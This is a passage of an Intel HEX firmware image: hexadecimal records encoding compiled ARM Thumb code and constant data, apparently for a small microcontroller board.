:105AD00013F0F8FC13BDC046002B0020000000208E :105AE00035590100014B58687047C046842E00208C :105AF000014B18687047C046842E0020F0B5194E3F :105B000087B03368050000200C0001930FF0A6FA5F :105B10003060009020680CF04AF9019B0700336068 :105B2000114E022D03D0A068F6F768FE0600210092 :105B300063680831A81E0393FCF7DCFF009B049008 :105B40000593002203AB03213000EAF783FE074BE5 :105B500004009F4203D0010038000CF0A4F920009B :105B600007B0F0BD842E0020B8B8020024DD02008A :105B70001FB56946EAF764FF04002000EAF7C2FF98 :105B8000002802D1044804B010BDF7F759F80028E6 :105B9000F3D10248F7E7C046B4AD0200ACAD020055 :105BA0001FB56946EAF74CFF04002000EAF7AAFF98 :105BB000002802D1044804B010BDF7F741F80028CE :105BC000F3D00248F7E7C046ACAD0200B4AD020026 :105BD00010B5F6F793FE034B002800D1024B1800D6 :105BE00010BDC046B4AD0200ACAD020037B5F6F74B :105BF000E9FE01AB7F2806D80121187001221800A8 :105C0000F3F770F93EBD1E49820988420BD8402146 :105C100049420A431A703F2202408020404210430A :105C200058704231EAE7174C010BA0420ED82024ED :105C300064422143197080215F3449422240204050 :105C40000A43014399705A700321D7E70E4CA042D2 :105C500012D81024850C64422C431C703F258024EC :105C6000294064422A40284021432243204359705E :105C70009A70D8700421C1E70448EBF703FBC046D3 :105C8000FF070000FFFF0000FFFF1000E68B03008E :105C9000F0B589B0019204000D0000222D49019851 :105CA000029300F085FD061E00D04668012C15D039 :105CB000A4002B19002401930094019B9D4223D042 :105CC0002F68002E04D0390030000CF077F8070060 :105CD000002C36D12C6800970435EEE704A928681B :105CE000EAF7AEFE0024039000940398EAF70AFF57 :105CF000051E0CD1002C07D122001749019800F095 :105D000057FD00281AD04468200009B0F0BD2F00CC :105D1000002E04D0290030000CF050F80700002CB1 :105D200009D0009A39000298EBF7B4FA0B4B98426D :105D300001D02500009F2C000097D6E70848EBF71C :105D4000A1FA009A39000298EBF7A4FA034B9842A3 :105D5000C2D1BFE7561300002E110000B4AD0200FF :105D6000078C030037B501A90500F3F70FFD1E4BA3 :105D700004002B40062B05D0AB072AD11B4B2A6809 :105D80009A4226D10199200011F0CAFA0190012807 :105D900022D1207843B2002B04DB012023785B0062 :105DA00018433EBD7F23013418403F3B034208D1D6 :105DB0003F22237819009143802905D00CF05EFE24 :105DC000EFE798435B10F1E780011340013418437B :105DD000EFE7019B012BE0D0019A05490548ECF75C :105DE0001FFCF1F75DFBC046070080FF40BB0200CF :105DF000208C030058A60200F0B5140087B0029072 :105E0000039100222349200000F0D2FC002205006B :105E10002149200000F0CCFC0123040004930593E9 :105E20001E4F002D07D068681D4B984203D004A96F :105E3000F3F7ACFC07001B4E002C07D06068184B32 :105E4000984203D005A9F3F7A1FC06000024029BA9 :105E5000154D9C420AD10023059A0193009331000D :105E60002800F1F7B9FC0E4807B0F0BD002C07D0B0 :105E70000023049A0193009339002800F1F7ACFC49 :105E80000399A3000022C9582800F6F7CFFC01347B :105E9000DDE7C0468E15000096110000E15A0300B0 :105EA00024DD02008E6F030034B7020010B5040039 :105EB00086B06A4602A81021FFF722FB01222100CA :105EC0006846F6F7B3FC02A90248F2F7D5FF06B020 :105ED00010BDC04640BB020070B50C68E30726D475 :105EE000A30703D1174B22689A4220D0012820D95A :105EF0004868F6F767FD06002000F6F7C9FD051CA7 :105F0000300005F0FFFD011C0F4808F0FDF9011CF1 :105F1000041C281C05F006FB07F0B8FF211C05F047 :105F20002BF9032302249843084B0443E418200070 :105F300070BD2000F6F7ACFD07F0A8FFF9F75CFA9A :105F40000400F4E704C60200000020410000808045 :105F500030B50B0085B01400012802D90948EBF7D1 :105F600055FB09480121C2680192019D0022A84702 :105F70002200039003A90120F5F706FC039805B061 :105F800030BDC046748C0300FCC1020013B5040090 :105F90000800F2F7C9FF6A4601002000EAF7D2FCC8 :105FA000009B0248002B00D1014816BDB4AD020091 :105FB000ACAD020037B50024022800D98C684868CF :105FC0000D68F2F7B1FF0A4B0100002C00D0094B1D :105FD0006A4628009847009B002B07D001991C00B7 :105FE000002903D01800F1F77BFA040020003EBD21 :105FF000A90900004509000070B50400080015005B :10600000F2F792FF2A0001002000EAF7F5FC0148B0 :1060100070BDC04624DD0200F8B503260500070068 :106020003540022D16D10E4B0340062B12D0FF2314 :10603000DB05C418B443201C002104F0F3FD002844 :1060400006D080231B06E418B443064B2C43E71804 :106050003800F8BD3800EFF707FE0700F8E7C04644 :10606000070080FF000080807FB50B00012803D16E :1060700000211868F6F7F4FB102102A811F0C4F90A :106080000C4902A80CF019F8032804D10A480BF0B7 :10609000C3FFF1F705FA039B0193002B03D10428FA :1060A00001D10648F3E702A90548F2F7E5FE07B07B :1060B00000BDC046C3120300C4A3020020A2020018 :1060C00040BB020010B5EAF7F5FC002804D10348F4 :1060D0000BF0A2FFF1F7E4F910BDC046A4A5020041 :1060E00010B5022803D0054905480BF0ABFE4A68FD :1060F0000B200968EBF7CEF810BDC0465A8C0300A0 :10610000B4A402007FB50D4D0400A84213D00C4E7C :10611000012201003000F6F789FB0A4930000CF03B :1061200096FE04230293084B0394DB6902AA032121 :10613000064801939847280004B070BD24DD020092 :1061400034B702008E6F03006CB20200A4F00200AC :10615000F8B50E0000280FD10400284B1D6800215F :1061600008000DF065FB00270600BD4232D1002576 :10617000AC423ED13000F8BD0868830714D10368F3 :106180001F4A93420DD10CF00BFC05003068F6F766 :1061900035FB1C4BC26800249A42E0D134680434B9 :1061A000DDE7194A934201D0F6F728FB856B002DF5 :1061B000ECD0164B2A689A42E8D00025E6E7EA6858 :1061C000FB009958002904D0042902D03000F5F7CB :1061D0007DFA0137AB68BB42F1D8C8E7A268EB0093 :1061E0009958002904D0042902D03000F5F76EFA3E :1061F00001356368AB42F1D8BCE7C046842E00206D :106200006CB20200A1850000B8B8020098CC020070 :10621000F8B5050010200C001F0016000BF0C3FE9F :10622000054B44608460A4190760C4606B60034B35 :106230002860AB60F8BDC046277702003D770200BA :106240000021F0B5070087B0816411F0DBFAFB692B :106250003C6A7D6ABB63FC63002D07DA3B000622C3 :1062600040331A7001357D6207B0F0BD002D05D0B6 :106270003B00052240331A70013DF4E7002835D079 :10628000BB6A002B32D13900043340310B703A6BBA :10629000B04B786BD3185B001B5A013C9C42E3D097 :1062A00019D9F96A8A4207D3083149000BF099FEDF :1062B000FB6A78630833FB623B6B5A1C3A637A6B68 :1062C0005B009C527B6A01337B62CDE7013B3B6301 :1062D0007B6A013B7B623B6B9E4A9A185200125AC2 :1062E0009442F3D3C0D002230B70BDE73C69631C1A :1062F00003D1002240373A70B6E7380011F02AFA8D :106300000490002800D12BE13B004033059300238B :10631000059A13703B69752B5AD0622B4ED17B695D :10632000722B5AD1049B022401930B233900403174 :106330000A78002A58D10B70002C07D0380011F0D1 :1063400031FA022C02D1380011F02CFA27223B69D5 :106350000292222B00D10293380011F023FA01237C :10636000029A03933B6993420BD113007A699342DB :1063700007D1380011F016FA380011F013FA032390 :10638000039300263C69631C00D1D9E0039B012BD9 :1063900002D10A2C00D1D3E0039B9E4227D33800C0 :1063A0003100443011F0D4F80121380011F02AFAFC :1063B000380011F0CFF90028ACD155E7722B0FD17E :1063C0007B69622BAED0049B012401930A23ADE7C5 :1063D00001240A2300220192A8E701240B23F9E7F4 :1063E00000240A230194A1E79A42A5D03CE7029B2E :1063F000A34209D13800190044300136FFF78CF868 :10640000380011F0CFF9BDE75C2C00D08EE03800E9 :1064100011F0C8F9019B3D69002B06D038005C21C2 :106420004430FFF779F82C004EE0622D70D022D86E :106430004E2D5BD00CD8222D1BD0272D19D0002635 :106440000A2DDDD02C00303C072CE7D8032557E07F :106450005C2D0ED00724612D3CD0552DF2D13B0090 :1064600040331B780B2B19D138005C214430FFF7E7 :1064700053F82C002EE0742D4CD007D86E2D4BD045 :10648000722D4BD0662DDDD10C2423E0762D47D024 :10649000E5D30226782DD5D1002413E00426752DEE :1064A000FAD0B619F8E7380011F07CF93D692800F8 :1064B000FEF752FE002800D16AE1280010F052FFDA :1064C00024012418013EEED20026631C98D0224BF2 :1064D0009C4231D83B0040331B780A2B22D1380034 :1064E00021004430FFF718F8002689E71B48EBF736 :1064F000BBF8380011F056F93B69E400303B1C1939 :106500007B69303B072BDFD8013D002DF1D1DBE764 :106510000824DFE70924DDE70A24DBE70D24D9E7B7 :106520000B24D7E7FF2C07D80B2B05D13800E1B29D :10653000443010F0C9FFD7E70122059B1A70D3E75A :10654000039B9E4200D32AE73B00032240331A708C :1065500025E7C046FFFFFF7FFFFF1000E08C030030 :106560002000FEF7E1FD041E386903D15F2801D049 :106570007F2842D93D0007233C0040352B7044342E :10658000C1B2200010F0A0FF380011F00BF93869FB :10659000431C1BD1200010F085FF002406007F4F14 :1065A000A300F958300013F05CF800281ED10D3418 :1065B000E4B22C70102C00D056E6794BA8331A6840 :1065C0000F23002A00D0023B2B704DE6FEF7ACFDF6 :1065D000002808D138695F2805D07F2803D8FEF746 :1065E000AFFD0028D6D03B69D9B2CAE7002800DA4F :1065F0003AE60134222CD3D136E6FEF7A1FD00287D :106600000FD03E00396940362E2916D10923337048 :106610003D0044352800FEF77FFF380011F0C2F836 :1066200032E03B692E2B04D17869FEF789FD002802 :10663000E7D100255B4C02234BE00823337030295F :10664000E6D17A6918331343623B162B03D8564DB3 :10665000DD4001231D4001242C40D9E7002C17D137 :10666000030020229343452B12D13C3B337065211C :106670002800FEF751FF380011F094F83969022222 :106680000B002B3B9343C5D03869431CE6D1EBE5A7 :10669000FEF74AFD002805D039692E290BD10923C0 :1066A0003370B7E73869FEF74BFD0028F4D13B693A :1066B0002E2BF1D0D8E50B00202293434A2BA9D1F1 :1066C000EDE7633E9E43F6B272425641A41901358E :1066D00001342678002E02D03A69B242F1D1380056 :1066E00011F060F8002E02D14037012203E6212E7E :1066F00008D13B693D2BF7D1380011F053F84037F2 :106700004122F8E52E2E12D13C003B6940342E2B5D :1067100002D17B692E2B02D04A232370A4E53800D6 :1067200011F040F8380011F03DF80C23F5E72A008D :106730000134267802213300633B8B43DBB2002B0C :106740000ED1637839690135994207D1380011F0CB :1067500029F82A00652E03D00234EAE7632EFBD124 :10676000124B9B5C3A004032137019000422914393 :10677000422901D0442B03D1BB6A0133BB6273E5CC :10678000432902D0452B00D06EE5BB6A013BF5E7FB :106790000122059B04001A709CE6C0468CF302009F :1067A000842E00209F8C030001204000518D0300A7 :1067B000F0B587B00092027804000F00930702D56D :1067C000009B002B11D1D307DB0F029310D0794B24 :1067D0003B40062B0CD003233B4003D1764938685D :1067E000884204D0009B012B02D0002552E0029386 :1067F00053075CD52368A568DE08F600AE19B542DC :106800002DD3009B012BF0D12368D90863689942EE :1068100010D104316160A068C9000BF0E2FB23686D :106820006268DB08D21ADB00A060D200C018002129 :1068300012F0CDFE07212368DD086A1CD2000B4050 :1068400013432360A368ED005D195A4B2F601F406E :10685000062F1FD001222378934323701AE0286863 :10686000B8421AD1009B022B14D129002368721B55 :10687000D210083B013A6F6828002360D20008312B :1068800012F092FE2368DD08A368ED005D19002375 :106890006F602B60280007B0F0BD029B002B04D175 :1068A0003900F6F73DF80028DCD10835A7E7636822 :1068B000002B05D1009B012B97D1200000F07EF822 :1068C0003C4B3B400593062B28D1F80810F08CFE7A :1068D00004906168049804F065F800260391039B16 :1068E0000193019BDD00A3685D19286800281CD175 :1068F000009B012B00D078E707212368DA080132DA :10690000D2000B4013432360002E00D0350000233B :106910006B60059B2F60062B9CD1BBE739000220E2 :10692000E9F726FF43100493D3E704281ED1002E75 :1069300000D12E0001986168013004F033F8039B08 :1069400001918B42CDD1009B012B00D04DE7002E51 :106950002CD0236835000833236000237360059B27 :106960003760062B96D02378009A75E7B84212D18B :10697000009B022B00D08DE723680198083B236021 :106980000130616804F00EF8A368C900CB58002BF1 :106990000AD12B607EE7029B002BCBD13900F5F7A3 :1069A000BFFF0028C6D0E3E70423F2E7200000F091 :1069B00005F88EE7070080FF40BB0200F7B543688B :1069C000040001935A1C002317495800455AAA4253 :1069D00006D90133222BF8D15508AD18213B1D43B0 :1069E000E800A7680BF0F1FA0622236865601A40F8 :1069F00001233D00002613432360A060019B9E42BB :106A000003D138000BF0FEFAF7BD2968002907D042 :106A1000042905D001222000FFF7CAFE6B684360FD :106A200001360835EAE7C04642040300F8B5050020 :106A30000023046886681449621C5800405A824248 :106A400006D90133222BF8D15008821801201043B7 :106A5000002328606B6080000BF0B7FA3700A400B9 :106A6000A860A419A74203D130000BF0CBFAF8BDFF :106A70003968002905D0042903D00122280010F02C :106A800087FF0437EEE7C04642040300BFF34F8F91 :106A9000024B034ADA60BFF34F8FFEE700ED00E0E0 :106AA0000400FA05F0B595B01822002106000EA8E2 :106AB00012F08DFD13210EA812F0F1FA03210EA899 :106AC00012F0A6FB464B1B68002B00D10133DBB252 :106AD0000093444A0123002109A803F0F5F9424B31 :106AE0009E4200D9002672B6404B64211C68404B80 :106AF0003000059303F05AFF052510306843201835 :106B000006900A21300003F051FF0A2104F034F806 :106B1000103169436118079130000A2104F02CF804 :106B200010314D438026641908940024B601009B5F :106B3000002B52D004AD0027032C02D18026002464 :106B4000B6016B682B4A02936300D31800220192AE :106B500058780299095C039119788C461021604697 :106B600001410398014204D0012090400199014362 :106B7000019101320633092AEAD1019B2A68D943DF :106B80001D4B09011940029B934224D1312F22DC75 :106B9000002109A812F007FCFA23139A0F99DB00D1 :106BA0001068014219D0013B002BF9D1FA230134BE :106BB00001377600E4B25B009F42BDD1043508ABDB :106BC000AB42B8D1064B1B68002BB0D0009B013BF9 :106BD000DBB20093ABE73143DBE7FFF757FFC0467B :106BE000642B0020F0FF0000E70300006800002095 :106BF000B18D03007B8D0300F01F0000F0B500286D :106C00001BDD0F4C421E276811000020BE09FB0F40 :106C100073407B403E097D087340BF087B406B405A :106C2000DB072B4301251F0040002B401843E940A0 :106C3000ECD18242E8D32760F0BD0248FCE7C046B1 :106C4000602B002017FCFFFF0023F0B50121A126D7 :106C500004241F00094D0A480A4A2B60F60001600F :106C6000576051680029FCD081591B02013C0B433D :106C7000002CF5D12B6001234360F0BD602B002078 :106C800000D00040FCD00040014B18607047C04667 :106C9000602B0020020010B5014B12CB12C210BDB8 :106CA000682B0020034B1A68034B1A607E225A603F :106CB0007047C04668000020682B002070B5051E94 :106CC00014DD0B4E0B4C3368002B02D0206812F001 :106CD00047F9FA2120680024074B89008361C462C8 :106CE0006943356012F044F9200070BD0348FCE7A9 :106CF000702B0020A02B0020A56D010017FCFFFFCA :106D0000F8B5114F06003D68002D0AD1302012F071 :106D1000C7FB040002F076FD0C4BA5612360E56221 :106D20003C600B4D2B68002B09D1102012F0B8FBF2 :106D3000040012F06AF920002C6012F040F93000D3 :106D4000FFF7BCFFF8BDC046A02B0020F8F70200FB :106D50009C2B0020014B18687047C046702B002008 :106D600070B50D4C2368002B03D00C4B1B68002B17 :106D700002D10620FFF7C4FF206812F037F90200A5 :106D80000749C3170D684E685219734120680A609D :106D90004B6012F031F970BD9C2B0020A02B00201D :106DA0001801002010B5FFF7DBFF0024054BA200FF :106DB000D058002802D003681B68984701340A2C79 :106DC000F4D110BD742B002010B5FFF7C9FFFA22D3 :106DD000034B920018685968002303F04BFF10BD65 :106DE0001801002010B5FFF7BBFF024B1868596867 :106DF00010BDC046180100200B4B10B51B680400E5 :106E0000002B03D0094B1B68002B02D10620FFF793 :106E100077FF0023064A99008858002801D00133E3 :106E2000F9E78C5010BDC0469C2B0020A02B002001 :106E3000742B0020002310B5044A99008C5884421A :106E400001D00133F9E70020885010BD742B0020D9 :106E500010B50400002902D00B78002B03D1034B9E :106E60002360200010BD10F05CFEFAE720F4020061 :106E7000014B03607047C04620F4020010B505487E :106E8000054C206010F0C7FE044A0549200012F0AE :106E900019FB10BD20F40200A42B002000000020EC :106EA000157B0200084B73B51C680500002C0AD046 :106EB0000100266808310822684612F06CFB0CCDF0 :106EC00031682000884773BDA82B002010B5054C01 :106ED0000121200010F093FE034A0449200012F023 :106EE000F1FA10BDAC2B002000000020BB7B02009B :106EF000074A10B50123904208D0984202D00023DF :106F0000C20703D41E20FFF7CDFD0023180010BDDB :106F1000FFFF00000048704716FCFFFF10B532204D :106F2000FFF7C0FD004810BD16FCFFFF8280142251 :106F3000002310B541620F4C0100083404600E2498 :106F40000281123A837182720363838636310A7832 :106F5000C360A243036143618361C36103620A703A :106F6000021DD38701224287034AC26302004032D6 :106F7000137010BD40F4020001000100F0B5524D45 :106F800097B02B6806000593002B00D088E006AC74 :106F90000B331C222121200001F0DEF80EAF0B2361 :106FA0001D2222210AA801F0D7F80B231B2223213E :106FB000380001F0D1F8082012F072FA0122059B86 :106FC0001100049011F0FAFD3A21300011F0FDFC9F :106FD00000281CD0A38812AFBB80A379A268BB7124 :106FE0003A4B5C2012930E23E3561492A289BB7392 :106FF000BA8112F055FA04230193363300933A0014 :10700000049B3100040001F0FDFC2C6048E03221BB :10701000300011F00AFD00281BD0A38812AFBB80FE :10702000A379A268BB71294B5C2012930E23E3560F :107030001492A289BB73BA8112F032FA042301932D :107040002E3300933A00049B3100040001F06CFEE3 :10705000DBE73C21300011F0A0FC00282BD0BB88DE :1070600012ACA380BB79BA68A371184BA420129309 :107070000E23FB561492BA89A373A28112F010FA60 :10708000052307000293013B01933833009322004C :10709000049B310001F0D6FB0D4B2F6044371F607D :1070A0000B4B094C1868002802D0216810F056FFDD :1070B000206817B0F0BD442012F0F2F904220499C0 :1070C0000400FFF733FFA0E7B02B002030F40200EC :1070D000B42B0020F0B56149C56885B08D4254DA03 :1070E0000300022236331B78134059D104698C42C5 :1070F00064DA020036321278520768D4426901928B :107100000200019E40328E426FDA0100363109786A :10711000090774D4002B7DD113780293002B16D06D :1071200006000127011DCB8F363601339BB2CB877A :1071300003963678BC46374000D188E01D2B06D92F :1071400063469E43039B1E700023CB87137010F091 :10715000B1FD434A0723904276D94249043B8D4210 :1071600072DBC8220133920095426DDC023B8C42F7 :107170006ADB013B944267DC01980433884263DB9D :107180000023904260DD06335EE0C82200235200F7 :107190009542ABDD030036331A7800239207A5D45D :1071A000012306001F00363632785408A7433C00FE :1071B00002279C40BA432243327097E7C82252000C :1071C00094429BDD020036321278520796D40600B4 :1071D0000122363633789F08BA439700042293433E :1071E0001A003A433270012388E7C821019E490002 :1071F0008E428FDD01003631097809078AD40100FB :10720000012636310B78DF08BE430827F600BB4362 :1072100033430B701378032B00D97DE70133DBB2C6 :107220001370012B03D10021031DD98774E7042BB0 :1072300000D071E7020036321178033B0B43137024 :1072400000230430C3870B33180005B0F0BD092BB1 :1072500000D87CE7029BCF87013B77E770FEFFFFFA :10726000FF700200E0FCFFFFF0B5040087B0C068CB :1072700006F086FA060020690F0006F081FA6369BD :10728000029003911800009306F07AFA0200019030 :10729000802000060B1805913000390006F020FF11 :1072A00006F0FCFAE062051C06F0A4FE0490281C1F :1072B00006F0FEFC051C049806F09EFA32003B0026 :1072C00005F01AFC0600281C0F0006F095FA019A3A :1072D000059B05F011FC02000B003000390005F0A1 :1072E0007DFE0B0002000298039906F0F9FE06F0FD :1072F000D5FA009B051C002B06DCA0620223A279B4 :107300001343A37107B0F0BD002103F09FFC0B4EA7 :10731000002811D10A4F281C06F06EFA02000B005B :107320003000390005F05AFE32003B0004F074FCD6 :1073300006F0B4FAA062E1E7024FECE7EA2E44540B :10734000FB21F9BFFB21F93F0048704716FCFFFF06 :1073500010B53320FFF7A6FB004810BD16FCFFFF59 :10736000002310B50400838083710D482164083028 :1073700020608020C000A061E0612062E360200006 :10738000236163616362A362E36223636363A36354 :10739000E3636364110010F098FD200010BDC04647 :1073A00074F40200F0B5514D97B02B6806000593B8 :1073B000002B00D088E00B331C22212106A80AAC48 :1073C00000F0CAFE0EAF0B231D222221200000F088 :1073D000C3FE0B231B222321380000F0BDFE082032 :1073E00012F05EF80122059B1100049011F0E6FBFB :1073F0001D21300011F001FB00281CD0A38812AF22 :10740000BB80A379A268BB71394B602012930E2315 :10741000E3561492A289BB73BA8112F041F8052396 :107420000193183300933A00049B3100040001F0EB :10743000B1FB2C6048E03C21300011F00EFB00282D :107440001BD0A38812AFBB80A379A268BB71284B65 :10745000602012930E23E3561492A289BB73BA8163 :1074600012F01EF805230193373300933A00049B72 :107470003100040001F0FAFCDBE73C21300011F0A0 :107480008CFA002829D0BB8812ACA380BB79BA68DB :10749000A371174BA42012930E23FB561492BA89A2 :1074A000A373A28111F0FCFF052307000293013BA7 :1074B0000193383300932200049B310001F0C2F99C :1074C0000C4B1F6044372F600A4B084A1B6810683A :1074D000002B00D0436417B0F0BD482011F0E0FF4E :1074E000052204990400FFF73BFFA2E7B42B00201C :1074F00030F40200B02B002030B50425837985B02C :1075000004002B421BD10368DB699847200010F070 :1075100016FDA379A1882B43A3710322012368469A :1075200010F03BFBA0790300AB43A371FB23800762 :107530009B00C0171840034BC01805B030BD02486F :10754000FBE7C04614FCFFFF15FCFFFFF0B504008D :1075500089B0406C10F067FC071C606C10F056FCA2 :1075600002222100061C05A810F0FAFC069804F07F :10757000C9FA051C079804F0C5FA041C381C06F06B :1075800039FD0390381C06F093FB0190301C06F087 :1075900031FD0290301C06F08BFB0399071C201C68 :1075A00003F0C0FF0199061C281C03F0BBFF011C5F :1075B000301C04F0CDF8061C059804F0A3FA391C21 :1075C00003F0B0FF0299071C281C03F0ABFF0399DE :1075D00003F0A8FF011C381C03F056FC0299051C9F :1075E000201C03F09FFF019903F09CFF011C281C45 :1075F00003F04AFC311C06F0F5FD0F4903F092FF41 :1076000006F0FAF80D4A0E4B04F07CFE06F046F93F :10761000011C0C4804F09CF80021041C03F002FB40 :10762000002804D0201C044903F02EFC041C201C5C :1076300004F048FA09B0F0BD0000B443EA2E445407 :10764000FB2119400000B4421FB50122010001A82E :1076500010F086FC029804F055FA041C019804F01E :1076600051FA211C06F0BEFD0D4903F05BFF06F048 :10767000C3F80C4A0C4B04F045FE06F00FF900214C :10768000041C03F0CFFA002804D0201C074903F0A3 :10769000FBFB041C201C04F015FA04B010BDC0460E :1076A00000003443EA2E4454FB2109400000B44357 :1076B00010B5837904005A070DD49B0701D4FFF756 :1076C0001BFF636C2000002B02D0FFF73FFF10BDB3 :1076D000FFF7BAFFFBE70148F9E7C04615FCFFFFDB :1076E00082B0F0B50400EDB064207393729211F093 :1076F00088FD052210A8110011F0D4FA984911A8AC :1077000001F0CCFD1925002221AB013D1A605A6021 :107710009A600C33002DF8D11922290013A811F01A :1077200056FFA06811F005F8FF210A90A06800F04C :10773000B7FB8C4FA06800F043FB049507950995B3 :10774000884B9F4203D0884B9F4200DBFDE0A0683E :1077500011F03DF8A56885491AA8FFF779FB782252 :107760001AA9280000F072FB1AA810F0D3F9002320 :107770007C4F04930326099B6068013333400993CF :1077800010F02FFB0500606810F032FB0022784BF0 :1077900005929D420FDB013205922A00C8320ADBB6 :1077A000AA22042192000591954204DC0596C82D79 :1077B00001DC0222059200220692984210DB01238E :1077C00006930300C8330BDBAA2304329B00069206 :1077D000984205DC03230693C82801DC013B06938D :1077E00010A811F056FA634B00251E00089313AB46 :1077F000EB5C012B05D172783178FE3310A801F0D3 :10780000DFFC01350236192DF1D16B4618229A5E44 :107810006B4610A81421595E099B01F0D1FC002F82 :1078200002DB049B0F2B07D90023A0680093743060 :107830001A0010A911F03DFA0026089B059A1B7842 :10784000934228D1089B069A5B78934223D12C233C :1078500008AAD218935D012B1DD00C2207990CADFC :107860004A4328000B922168002210F079FB21A9DD :107870008C460B9A6244130007CD07C32C2308AA39 :10788000D31801229A55079B0133DBB20793049B5F :107890000133DBB20493089B013602330893192E9F :1078A000CBD1642011F0ADFC079B643F3FB2182B95 :1078B00000D845E71A0021A91AA810F0B1FD6A46C0 :1078C0001DAB23CB23C21B6813601A991B9A1C9B08 :1078D000206810F00CFBE568002D0CD0264912A89A :1078E000FFF7B6FA1C231AAA12A9280011F03CF8D7 :1078F00012A810F00FF9A06810F069FF11A912A8E2 :10790000A56811F0BEF900221C4B009212A9019348 :107910002800130000F070FA12A811F0A5F9FA205F :10792000800011F06EFCA06810F051FF0A99A06869 :1079300000F0B6FA11A811F097F910A811F094F917 :107940006DB0F0BC08BC02B01847002F03D0049BF8 :107950000F2B00D00EE7A06800F032FA0AE7C0460D :10796000918F03008C3C0000D18AFFFFD68F03006B :1079700058FDFFFFF68F0300EB8F0300DC050000CE :10798000F0B587B001930EAB1B88060003930D9BE7 :107990000D000093019B02920C9F002B3DD0002F05 :1079A00002D1009BDB0738D5282011F079FD0400B7 :1079B000103010F0E8F8029B18202580638011F049 :1079C0006FFD0500009B08220593019B00210360C9 :1079D0000C30049711F0FBFD082204A9281D11F0BA :1079E000DAFD0F4B02226B6100230399E3602362EF :1079F000636233680A43A560A2805B68210030009F :107A00009847002807D0200011F0C3F82000282153 :107A100011F05FFD034807B0F0BD0348FBE7C04627 :107A20004580020016FCFFFF17FCFFFF30B54260E7 :107A3000002283600C4B04000160C260186887B0AC :107A400090420DD00592C03202926A46074904ABBB :107A5000049122CB22C2230003220521FFF790FFCD :107A6000200007B030BDC046A82B0020E176010001 :107A7000F0B5040085B0637A9C46002B04D1200049 :107A800010F0ECFC05B0F0BDA37A266F0193102333 :107A9000019AF35600259B1801229A402900F368A9 :107AA00003920293029BAB4231DDB268019B6A43B1 :107AB000D21873695200E77A9A1813785078E279ED :107AC000012F14D1571E3F1A18003B004243606F2C :107AD00052008218D2189379634500DD6346627BB9 :107AE0001A4202D00123AB4019430135DAE7022FD5 :107AF00007D0032FEAD1277A013FFF1A030038008D :107B0000E4E7571EFB1A277A013F381ADEE71123F4 :107B1000C943F356606C994023691940039B19438C :107B200011F041FCA27B072AACD8637B0C495B00B7 :107B30006373531CDBB290004158A373022A03D82D :107B4000080011F053FB96E7064B20002363002347 :107B50006363054BE4622364143011F009FA91E782 :107B6000A0F40200717A01004784020010B50400FD :107B7000044B036011F0F4F9200001F059FE2000DD :107B800010BDC046F8F7020010B504000E4B0833D4 :107B90000360FFF74FF92000743011F065F8200002 :107BA000603011F061F8200058300FF0B3FF200072 :107BB00050300FF0AFFF2000044B14306361FFF72B :107BC000D5FF200010BDC046C0F402000CF8020032 :107BD000F8B500250400324B8580083303608571B9 :107BE000143016000F0001F00DFE20002D4BE56251 :107BF000636125645030FFF73BF920005830FFF7F0 :107C000037F92000603001F0D5FA20000423F25E3D :107C100033682667590009B2743011F043F83368AD :107C2000226FE37173680126237210236581A78098 :107C30002561D35691685918994204DD3000984067 :107C400001330543F8E711230120D356D1685918B1 :107C5000994206DD02009A402669013332432261CF :107C6000F6E7142011F01CFC226900212A430123AD :107C7000060002F029F9FF23220063720133A38179 :107C8000002348326664A37320001370A366FFF7D5 :107C9000B3F80123A27920001343A371F8BDC046B5 :107CA000C0F402000CF80200F0B5437A85B004007D :107CB000002B04D1200010F0D1FB05B0F0BD012253 :107CC000837A11009C461023066F0025F356039219 :107CD0006344994002912900F3680193019BAB42F0 :107CE0002CDDB26873696A4362445200E77A9A18DD :107CF00013785078E279012F10D1571E3F1A1800DF :107D00003B004243606F52008218D2189379002BD7 :107D100002D0039BAB4019430135DFE7022F07D0A8 :107D2000032FEED1277A013FFF1A03003800E8E75E :107D3000571EFB1A277A013F381AE2E71123C9437D :107D4000F356606C994023691940029B194311F066 :107D50002AFB667AB31EDBB2FC2B14D8FEF7FAFFBF :107D60000B4B0500236300230A4863630A4BFF2182 :107D7000E4622364704302F019FE290041432000AD :107D8000143011F0F5F8637A012B00D995E791E7EB :107D90005D840200B6030000478402001FB5012382 :107DA00081881A0068460FF0F8FE012303491A0083 :107DB00068460FF0F2FE05B000BDC046FE030000AD :107DC0001FB5030048331A780400002A0DD00022A2 :107DD0001A70012381881A0068460FF0DEFE012325 :107DE00004491A0068460FF0D8FE2000743010F0E5 :107DF00050FF1FBDFF03000073B5079C0500002C5A :107E00001CDB060048363078002802D03078012884 :107E100016D106981BB2C0B20090280012B274307E :107E200010F047FF002C07D02B004A331C800024A1 :107E300007234C352C803370200076BD014CFBE7C6 :107E4000014CF9E717FCFFFF12FCFFFFF8B5040037 :107E5000171E1DDD060048363378002B02D033781C :107E6000012B17D12200E3795632013B1370230016 :107E70000025200054331D8050300FF068FE230091 :107E80004A331F80022328004C3425803370F8BD0C :107E90000148FCE70148FAE717FCFFFF12FCFFFF6F :107EA000FF2902D84172002070470148FCE7C04614 :107EB00017FCFFFF13B5040004A800780090200011 :107EC00010F0B8FF002801D1207516BD0048FCE76E :107ED0000EFCFFFF13B5040004A8007800902000FA :107EE00010F090FF002801D1207516BD0048FCE776 :107EF0000EFCFFFF7FB50D0011000F226A44040045 :107F00001E1E117015D0089B002B12DD01232900C5 :107F10000093FFF7DFFF002808D10090089B320094 :107F200029002000FFF7C6FF002800D0024804B057 :107F300070BD0248FBE7C0460EFCFFFF17FCFFFFC9 :107F400010B5040086B0006C01F070FD217BA0220A :107F50008B00185100200C4BD20098500B4A143063 :107F60009850636C68465B7CC91849B210F080FC7D :107F7000039B019A03211A60207B0130C0B202F0FA :107F800011FD217306B010BD007000400405000013 :107F900082B070B50400002588B00C920D93636C1C :107FA0009A68AA420ADD197C02A8491949B210F060 :107FB0005FFC069B039A01351A60F0E75D7C237B2A :107FC00002A8ED186DB2290010F052FC039A059B2F :107FD00001921A600021182202A811F0F8FA02A8F2 :107FE0000022290011F060F8206C002802D008213E :107FF00011F06FFA082011F053FA2900060001F081 :10800000EFFC094B2000E3620023FA212363074BB6 :108010002664A462E3631030090110F0A9FF08B0E0 :1080200070BC08BC02B01847417F01001B880200E9 :1080300010B5A9244268036880689B180A4A1B1877 :1080400064002000934207DC0838FF38E32B03DD8F :108050000321180002F0AAFC201A0821FF24FF3196 :10806000604302F0A3FC10BDF5030000F0B504006E :108070000E00150085B01F000CAB1B88103001935B 